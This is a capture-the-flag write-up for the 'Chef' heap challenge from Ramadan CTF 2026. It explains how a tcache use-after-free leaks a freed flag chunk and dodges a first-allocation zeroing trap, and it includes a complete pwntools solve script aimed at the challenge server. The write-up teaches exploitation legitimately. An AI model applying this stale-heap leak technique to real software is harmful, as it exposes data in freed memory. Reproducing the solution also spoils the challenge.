Ramadan CTF 2026 - Chef
[ Chef ] Writeup
Category: Pwn (Heap)
Difficulty: Easy-Medium
Author: 4n7h4r4x
Access all challenges here:
GitHub Repository
Tools Used
ghidra/gdbfor reverse engineeringpython3 (pwntools)for exploit scripting
Overview
Welcome to the Iftar Kitchen! The chef scribbled a secret recipe (the flag), panicked, and tossed it in the bin right before Iftar. The bin hasn’t been emptied… can you dig it out?
This is a Use-After-Free challenge where the flag is loaded into a heap chunk and freed before we even get to interact. Our job is to reclaim that chunk and read the stale flag data.
Initial Recon
Let’s start with the basics – file and checksec:
All mitigations are on – but none of them matter here. This is a pure heap data leak, no code execution needed.
Reverse Engineering
Opening the binary in Ghidra, we discover an “Iftar Kitchen” menu with 4 options: allocate a pot, free a pot, write to a pot, and taste (read) a pot. Here are the disassembly of all the functions from ghidra :
Before the menu runs, a function loads the flag into a 64-byte heap chunk at offset 16 (past the tcache metadata area), then frees it. The key observations:
- The flag chunk is
malloc(64)– it goes into the 0x50 tcache bin. - The flag is written at offset 16 (
PAD = 16) inside the chunk. - When glibc frees a tcache chunk, it only overwrites the first 16 bytes (the
nextpointer andkeyfield). The flag at offset 16 survives the free.
The Trap: First Allocation Zeroing
There’s a sneaky catch:
1
2
3
if (total_allocs == 0)
memset(meals[idx].buf, 0, sz);
total_allocs++;
The very first allocation gets memset-zeroed. If you naively allocate 64 bytes as your first move, you’ll reclaim the flag chunk from tcache – but the zeroing will destroy the flag data.
Tip: This is a common pattern in heap CTF challenges. Always check if there are any “first use” traps before diving into exploitation.
Exploitation Strategy
The exploit is elegant and only needs 4 actions:
- Burn the clean pot – Allocate a different size (e.g., 32 bytes) as our first allocation. This wastes the
memsetzeroing on an irrelevant chunk from the 0x30 tcache bin, not the 0x50 bin where the flag lives. - Free it – Optional cleanup, just keeps things tidy.
- Reclaim the flag chunk – Allocate 64 bytes. Since
total_allocs > 0, no zeroing happens. Glibc pops the freed flag chunk from the 0x50 tcache bin with stale data intact. - Taste the pot – Read the chunk. The flag sits at offset 16.
1
2
3
4
5
6
Tcache state before interaction:
0x50 bin: [flag_chunk] -> NULL
[0x00-0x0F] tcache metadata (overwritten by free)
[0x10-0x3E] FLAG DATA (INTACT!)
[0x3F] NUL terminator
Why size 32 for the burn?
malloc(32)lands in the 0x30 tcache bin – completely separate from the 0x50 bin. Any size that doesn’t round to the same bin as 64 would work. Just don’t accidentally consume the flag chunk!!
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.binary = elf = ELF("./chef", checksec=False)
#p = elf.process()
p = remote("tcp.espark.tn" , 1771)
def alloc(p, idx, sz):
p.sendlineafter(b"chef> ", b"1")
p.sendlineafter(b"pot [0-3]? ", str(idx).encode())
p.sendlineafter(b"(16-1024): ", str(sz).encode())
def free_meal(p, idx):
p.sendlineafter(b"chef> ", b"2")
p.sendlineafter(b"pot [0-3]? ", str(idx).encode())
def taste(p, idx):
p.sendlineafter(b"chef> ", b"4")
p.sendlineafter(b"pot [0-3]? ", str(idx).encode())
# 1. Burn the "clean pot" (first alloc is memset-zeroed)
# Use a DIFFERENT tcache bin so we don't consume the flag chunk
alloc(p, 0, 32)
# 2. Free it (don't care about this chunk)
free_meal(p, 0)
# 3. Alloc size 64 => hits the 0x50 tcache bin where the flag chunk lives.
# Since total_allocs > 0 the pot is "dirty" -- old contents survive.
alloc(p, 1, 64)
# 4. Read the dirty pot -- flag sits at offset 16 (first 16 bytes are tcache metadata junk)
taste(p, 1)
p.interactive()
Key Takeaways
- Tcache reuses freed chunks with stale data. When glibc frees a tcache chunk, only the first 16 bytes are overwritten with metadata. Everything else persists.
- Always check for defensive traps like first-allocation zeroing before building your exploit.
- Chunk size matters. You need to request the exact size that maps to the correct tcache bin to reclaim a specific freed chunk.
Helpful Resources
Thanks for reading!








